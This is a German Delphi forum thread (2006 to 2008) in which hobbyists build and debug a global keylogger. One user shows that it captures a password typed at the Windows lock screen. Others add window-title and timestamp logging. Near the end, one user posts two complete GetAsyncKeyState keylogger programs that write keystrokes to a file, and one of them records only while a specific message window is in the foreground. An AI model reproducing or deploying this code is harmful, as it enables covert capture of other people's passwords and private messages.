Delphi-PRAXiS

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Win32/Win64 API (native code) (https://www.delphipraxis.net/17-win32-win64-api-native-code/)
-   -   Delphi Keylogger und diakritische Zeichen (https://www.delphipraxis.net/72651-keylogger-und-diakritische-zeichen.html)

Shaman 4. Jul 2006 16:31


Keylogger und diakritische Zeichen
 
Liste der Anhänge anzeigen (Anzahl: 1)
Hey there

Ich arbeite momentan an einem globalen KeyLogger, welcher dank WH_KEYBOARD_LL ohne DLL auskommt. Läuft dafür glaub nicht auf älteren Windowsversionen.

Soweit so gut, nur habe ich Probleme mit diesen diakritischen Zeichen wie ^ ` ~ usw.:
1) Wenn man zum Beispiel "^" gefolgt von einem "a" eintippt, wird dies vom Keylogger korrekt zu einem "â" kombiniert, aber im aktiven Eingabefeld erscheint nur ein "a"
2) Tippt man z.B. zwei "^" hintereinander, merkt der Logger nichts. Dafür erscheint im aktiven Eingabefeld korrekt "^^"

Da ich diese Probleme auf die API-Funktion ToAscii zurückführe, denke ich, mein Logger ist nicht der einzige mit diesem Problem :wink:

Ihr könnts euch mal anschauen, vielleicht findet jemand einen Walkaround...

Gruss
Shaman

_rEdoX 4. Jul 2006 17:28

Re: Keylogger und diakritische Zeichen
 
Hi,

ohne die unit Keylogger kann ich dir leider nicht weiterhelfen oder muesste mir selber einen Keylogger schreiben (dafuer bin ich aber gerade zu faul :>)

Shaman 4. Jul 2006 18:04

Re: Keylogger und diakritische Zeichen
 
Damn, wusste das ich was vergessen habe... :wink:

Korrigiert

Markus254 4. Jul 2006 18:38

Re: Keylogger und diakritische Zeichen
 
Denn Keylogger find ich cool !

Vielleicht bin ich nur ein N00b, aber mein Delphi (7)
Reklamiert, wegen der Datei "KeyLogger.dcu".

Könnest du diese Datei für mich mitliefern ?
Danke

_rEdoX 4. Jul 2006 18:54

Re: Keylogger und diakritische Zeichen
 
Aender mal in der KeyLoggerTest.dpr die Zeile

Code:
KeyLogger in '..\..\Units\KeyLogger.pas';
in

Code:
KeyLogger in 'KeyLogger.pas';
Dann sollte es laufen.

Markus254 4. Jul 2006 19:16

Re: Keylogger und diakritische Zeichen
 
Bin wohl ein grösserer N00b als ich gedacht habe...
Ich fiende ja nicht mal diese Zeile :oops:

Wo is den die Genau ?
Danke (schonwieder...)

Edit:

Aha, juhu ^^
Habs gefunden ! Sorry und vielen Dank !

Aber jetzt kommen ein paar Fehler...
Zitat:

[Fehler] pasMain.pas(34): Undefinierter Bezeichner: 'OnKeyDown'
[Fehler] pasMain.pas(34): Nicht genügend wirkliche Parameter
[Fehler] pasMain.pas(49): Undefinierter Bezeichner: 'vkCodeToStr'
[Fataler Fehler] KeyLoggerTest.dpr(6): Verwendete Unit 'pasMain.pas' kann nicht compiliert werden

Shaman 4. Jul 2006 19:30

Re: Keylogger und diakritische Zeichen
 
Jepp, bin das am bereinigen. War ein wenig vorschnell in meiner Entwurfsphase :wink:

Shaman 4. Jul 2006 19:52

Re: Keylogger und diakritische Zeichen
 
Jetzt sollte es besse gehen. Funktionstasten werden nun auch angezeigt, aber eben... Diese elenden Accents... :?

Markus254 4. Jul 2006 20:09

Re: Keylogger und diakritische Zeichen
 
Cool !
Jetzt funktionioerts :thumb:

Danke !
Werde mir mal das Problem ansehen...
Vielleicht fiende ich ne Lösung.

Gruss Markus

Luckie 4. Jul 2006 20:53

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von Shaman
Da ich diese Probleme auf die API-Funktion ToAscii zurückführe,

Kann es nicht sein. Dein KeyLoger fängt das Zeichen ab, aber leitet es nicht weiter, so das im aktivem Edit nichts ankommt.

Shaman 4. Jul 2006 21:06

Re: Keylogger und diakritische Zeichen
 
Ich verwerfe nie einen Tastenanschlag, alles wird weitergeleitet...

Ist dir bei deinem KeyLogger nie ein solches Problem aufgefallen?

DocBorn 7. Jul 2006 06:35

Re: Keylogger und diakritische Zeichen
 
vielleicht hab' ichs ja auch nich gecheckt, aber in der Funktion vkCodeToChar prüfst du ja ob es sich um ein diakritisches Zeichen (oder deadkey) handelt. Wenn ja dann gibst du in dieser Funktion false zurück. Weiter unten rufst du eben diese Funktion auf und wenn sie false lieferst wirfst du das Ergebnis nicht aus. Das ist so meine erste spontan-Idee. Ansonsten sweete Applikation (und du sagst das funktioniert nicht auf alten Windows-Systemen? Schade :)).

Viele Grüße
Lars

smallsmoker 29. Apr 2008 19:05

Re: Keylogger und diakritische Zeichen
 
entschuldigung das ich den thread wiederbelebe aber könnte man in diesem programm auch den fenstertitel u. uhrzeit etc. anzeigen ?
mfg smallsmoker

toms 29. Apr 2008 19:11

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von smallsmoker
entschuldigung das ich den thread wiederbelebe aber könnte man in diesem programm auch den fenstertitel u. uhrzeit etc. anzeigen ?
mfg smallsmoker

Klar, du kannst dies im LogKeyPress Ereignis einbauen.

Delphi-Quellcode:
procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
begin
  Memo1.SelText:= Key;
end;

toms 29. Apr 2008 21:34

Re: Keylogger und diakritische Zeichen
 
Es tritt noch ein Fehler auf, wenn extern irgend eine Taste gedrückt wird.

Zitat:

Zitat von madexcept
exception class : ERangeError
exception message : Range check error.

main thread ($4a0):
004b0dfe +26 KeyLoggerTest.exe KeyLogger 68 +1 GetKeyboardState
004b0e72 +36 KeyLoggerTest.exe KeyLogger 82 +3 vkCodeToChar
004b113a +72 KeyLoggerTest.exe KeyLogger 181 +5 TKeyLogger.Logging
004b0f11 +55 KeyLoggerTest.exe KeyLogger 101 +7 LLKeyboardHookProc


smallsmoker 30. Apr 2008 00:52

Re: Keylogger und diakritische Zeichen
 
hm habe jetzt ne nette funktion der schweizer gefunden die aktuelle Fenster Caption herausfinden
nur weiß ich nicht genau wie ich dies in das LogKeyPress event einfügen soll ...
er soll ja nur in den log schreiben wenn sich das fenster ändert ..
momentan sieht der inhalt des events bei mir so aus:
Delphi-Quellcode:
procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
var aktuellesfensterhandle : integer;
begin
if (aktuellesfensterhandle <> GetForegroundWindow) then
memo1.Lines.Add(activecaption);
Memo1.SelText:= Key;
aktuellesfensterhandle := GetForegroundWindow;
end;
was leider dazü führt bsp.:

Zitat:

Ausführen
h
Ausführena
Ausführenl
Ausführenl
Ausführeno
Unbenannt - Editorh
Unbenannt - Editora
Unbenannt - Editorl
Unbenannt - Editorl
Unbenannt - Editoro
was eigentlich so aussehen sollte.:

Ausführen
hallo

Unbenannt - Editor
hallo

ändert sich ständig das fenster im vordergrund ? oder hab ich da nen denkfehler ..

mfg smallmoker

smallsmoker 30. Apr 2008 01:20

Re: Keylogger und diakritische Zeichen
 
habe jetzt eine lösung gefunden wenn auch eine skurile die ich mir nicht erkären kann hoffe ihr könnt mir helfen ..
der oben genannte code funtioniert wenn man es so macht

Delphi-Quellcode:
procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
begin
if inttostr(GetForegroundWindow) <> lbltest.Caption then memo1.Lines.Add(activecaption);
Memo1.SelText:= Key;
lbltest.Caption := inttostr(GetForegroundWindow);
end;
mit einem label als zwischenspeicher .. kein plan wieso aber anders geht es bei mir nicht.
:wiejetzt:

p.s.: sry für den doppelpost

so habe den fehler musste einfach die variable außerhalb der prozedur eintragen

stoxx 30. Apr 2008 02:32

Re: Keylogger und diakritische Zeichen
 
Zitat:

Es tritt noch ein Fehler auf, wenn extern irgend eine Taste gedrückt wird.

was heißt bei Dir "extern? ...

Mackhack 30. Apr 2008 05:16

Re: Keylogger und diakritische Zeichen
 
Ist es auch gewollt dass es 2 mal Tasten wie z. B. Shift anzeigt obwohl nur einmal gedrueckt? Ansonsten schon ganz nett!

toms 30. Apr 2008 05:28

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von stoxx
Zitat:

Es tritt noch ein Fehler auf, wenn extern irgend eine Taste gedrückt wird.

was heißt bei Dir "extern? ...

In einer anderen Anwendung.

smallsmoker 30. Apr 2008 09:07

Re: Keylogger und diakritische Zeichen
 
@tom: bei mir nicht ...
und ja es ist gewollt das es doppelt angezeigt wird dadurch kann man sehen wie lang eine taste gedrueckt wurde.
so hab ichs jetzt am ende für mich gemacht

Delphi-Quellcode:

var
  MainForm: TMainForm;
  accap:integer;

[...]

function ActiveCaption: string;
var
  Handle: THandle;
  Len: LongInt;
  Title: string;
begin
  Result := '';
  Handle := GetForegroundWindow;
  if Handle <> 0 then
    begin
    Len := GetWindowTextLength(Handle) + 1;
    SetLength(Title, Len);
    GetWindowText(Handle, PChar(Title), Len);
    ActiveCaption := TrimRight(Title);
    end;
end;

procedure TMainForm.LogKeyPress(Sender: TObject; Key: Char);
begin
if ( GetForegroundWindow <> accap ) then
  begin
  if memo1.Text <> '' then memo1.Text := memo1.Text + #13#10 + #13#10;
  memo1.Lines.Add(activecaption + ' ' +  DateToStr(Date) + ' '+ TimeToStr(Time));
  end;
Memo1.SelText:= Key;
accap := GetForegroundWindow;
end;
mfg smallsmoker

Dezipaitor 30. Apr 2008 11:46

Re: Keylogger und diakritische Zeichen
 
funktioniert der logger auch im Willkommensbildschirm???

Win32.API 30. Apr 2008 12:57

Re: Keylogger und diakritische Zeichen
 
Was haelst du vom testen?

Edit: Damit der Post nicht ganz umsonst war:
[WindowsTaste] + L
Passwort eingegeben
[Enter]

=

[+LWin]l[-Return]

xy124 30. Apr 2008 14:19

Re: Keylogger und diakritische Zeichen
 
geiles progmramm dummer weise versteh ich nichtmal die hälfte der keylogger.pas :?

könnte man das eigentlich nicht auch mit getasynckeystate machen?

toms 30. Apr 2008 14:28

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von xy124
könnte man das eigentlich nicht auch mit getasynckeystate machen?

Das würde sicher mehr Systemressourcen brauchen, wenn du einen Timer mit kleinem Intervall nimmst und so
GetAsyncKeyState sehr oft aufrufst. Der Hook ist Ereignis orientiert, das andere ein Polling.

xy124 30. Apr 2008 14:44

Re: Keylogger und diakritische Zeichen
 
da ich nichts von hook und polling kenne kann ich das jetzt nich beurteilen - trotzdem gefällt mir das prog weils funzt und opensource ist :-D

smallsmoker 30. Apr 2008 15:32

Re: Keylogger und diakritische Zeichen
 
polling heißt das du etwas immer wieder z.b.: mit einem timer oder einer schleife einen wert prüft das ist natürlich sehr ressourcen aufwendig,
hooks "klinken" sich in alle programem ein und "reagieren" auf tastenanschläge.
soweit habe ich es verstanden :)

mleyen 30. Apr 2008 16:01

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von toms
Zitat:

Zitat von xy124
könnte man das eigentlich nicht auch mit getasynckeystate machen?

Das würde sicher mehr Systemressourcen brauchen, wenn du einen Timer mit kleinem Intervall nimmst und so
GetAsyncKeyState sehr oft aufrufst. Der Hook ist Ereignis orientiert, das andere ein Polling.

Ich meine mal irgendwo gelesen zu haben, dass einige Programme so Key-hooks erkennen und blocken können. (Bin mir aber nicht sicher, werde gern des besseren belehrt)
Deswegen hab ich das bis jetzt auch immer mit getasynckeystate gemacht, das einzige mankerl ist dabei, dass man nicht weiß wie lang eine Taste gedrückt wurde und wieviele 'Anschläge' dabei flogen.

Mackhack 30. Apr 2008 16:39

Re: Keylogger und diakritische Zeichen
 
Mit einer Schleife und GetAsycKeyState hab ichs auch schonmal gemacht mit Delphi 3 oder so Annodazumal. Ging eigentlich recht gut wenn auch nicht 100 % aber was solls.

xy124 30. Apr 2008 18:06

Re: Keylogger und diakritische Zeichen
 
nochmal dumm in die reihen gefragt wenn ich das mit getasynckeystate mache, muss ich dann für jeden Buchstaben aufführen
Delphi-Quellcode:
if getasynckeystate(ord('M'))<0 then ...
?

mleyen 30. Apr 2008 18:28

Re: Keylogger und diakritische Zeichen
 
jap, aber wenn du alles willst, mach´s einfachheitshalber so:

Delphi-Quellcode:
for i := 0 to 255 do
  GetAsyncKeyState(i) //Was auch immer da passieren soll
evtl speicherst du auch alle keystates, damit du gezielt abfragen kannst welche taste gedrückt gehalten wird und so nicht unnötige anschläge zählst, bzw. nur in einer bestimmten dauer erkannt werden.

xy124 30. Apr 2008 18:32

Re: Keylogger und diakritische Zeichen
 
gute idee code ich mal eben nach dem abendbrott :shock:

Dezipaitor 30. Apr 2008 19:52

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von Win32.API
Was haelst du vom testen?

Edit: Damit der Post nicht ganz umsonst war:
[WindowsTaste] + L
Passwort eingegeben
[Enter]

=

[+LWin]l[-Return]

Ein Ja oder ein Nein, wäre viel weniger Aufwendig gewesen. Zudem hätte es mir erspart einen Keylogger installieren zu müssen.

Mackhack 30. Apr 2008 20:11

Re: Keylogger und diakritische Zeichen
 
Das war das Programm von dem ich redete...

Delphi-Quellcode:
Program Project1;

Uses
  SysUtils, WINPROCS, Forms;

{$R *.RES}

{Procedure XXX;
Var
  I, X : Integer;
  F : TextFile;
Begin
  AssignFile(F, 'Key.txt');
  If Not FileExists('Key.txt') Then
  Begin
    ReWrite(F);
    Close(F);
  End;
  Repeat
    For I := 1 To 255 Do
    Begin
      X := GetAsyncKeyState(I);
        If X <> 0 Then
        Begin
          If (I In [Ord('A')..Ord('Z')]) Or (I In [32, 46, 49..58]) Then
            If Lo(X) <> 0 Then
              Begin
                Append(F);
                Write(F, Chr(I));
                CloseFile(F);
              End;
              If (Lo(X) <> 0) And (I = 13) Then
              Begin
                Append(F);
                WriteLn(F);
                CloseFile(F);
              End;
            End;
        End;
  Until False;
End;}

Procedure XXX;
Var
  I    : Byte;
  X    : SmallInt;
  Datei : TextFile;
Begin
  AssignFile(Datei, 'Key.txt');
  If (Not FileExists('Key.txt')) Then
    ReWrite(Datei)
  Else
    Append(Datei);

  For I := 1 To 255 Do
  Begin
    X := GetAsyncKeyState(I);
    If (X AND $8000 <> 0) Then
      Write(Datei, Char(I));
  End;
  CloseFile(Datei);
End;

Begin
  XXX;
End.
oder so...

Delphi-Quellcode:
program Project3;

uses
  SysUtils, Windows, Messages;

{$R *.RES}

procedure TimerCallBack;
var
  Wnd: HWnd;
  PC: array[0..255] of Char;
  I: Integer;
  F: TextFile;
  X: Integer;
begin
  Wnd := GetForegroundWindow;
  GetWindowText(Wnd, PC, 255);
  if ( PC = 'reborn8 - Message' ) then
  begin
    AssignFile(F, 'Key.txt');
    if ( not FileExists('Key.txt') ) then
    begin
      ReWrite(F);
      Close(F);
    end;
    repeat
      for I := 1 to 255 do
      begin
        X := GetAsyncKeyState(I);
        if ( X <> 0 ) then
        begin
          if ((I >= Ord('A')) and (I <= Ord('Z'))) or (I = 32) then
          begin
            if ( Lo(X) <> 0 ) then
            begin
              Append(F);
              Write(F,Chr(I));
              CloseFile(F);
            end;
            if (Lo(X) <> 0) and (I = 13) then
            begin
              Append(F);
              WriteLn(F);
              CloseFile(F);
            end;
          end;
        end;
      end;
    until False;
  end;
end;

var
  Msg: TMsg;
begin
  SetTimer(0, 0, 100, @TimerCallBack);
  while GetMessage(Msg, 0, 0, 0) do
  begin
    case Msg.Message of
      WM_CLOSE,
      WM_DESTROY: Break;
      WM_SYSCOMMAND: if ( Msg.wParam = SC_Close ) then
      begin
        Break;
      end;
    end;
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
  ExitCode := Msg.wParam;
end.

toms 1. Mai 2008 06:38

Re: Keylogger und diakritische Zeichen
 
Zitat:

Zitat von smallsmoker
@tom: bei mir nicht ...

Ich bin doch etwas erstaunt, dass der Fehler bei Euch nicht auftritt.

Denn GetKeyState() kann doch auch negative Wert liefern und das TKeyboardState Array nur Werte > 0 hat, muss es doch zu einem RangeError kommen.

Delphi-Quellcode:
TKeyboardState = array[0..255] of Byte;

Mache nun mal vorläufig die Werte mit ABS() positiv.
Vielleicht hat ja jemand eine bessere Lösung.

Delphi-Quellcode:
function GetKeyboardState: TKeyboardState;
//  Ersetzt Windows.GetKeyboardState, da diese ausserhalb der eigenen Anwendung
//  scheinbar nicht die korrekten Modifiers liefert
var
  I: Integer;
begin
  for I:= Low(Result) to High(Result) do
  begin
    Result[I]`:= Abs(GetKeyState(i));
  end;
end;


Alle Zeitangaben in WEZ +1. Es ist jetzt 06:29 Uhr.

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz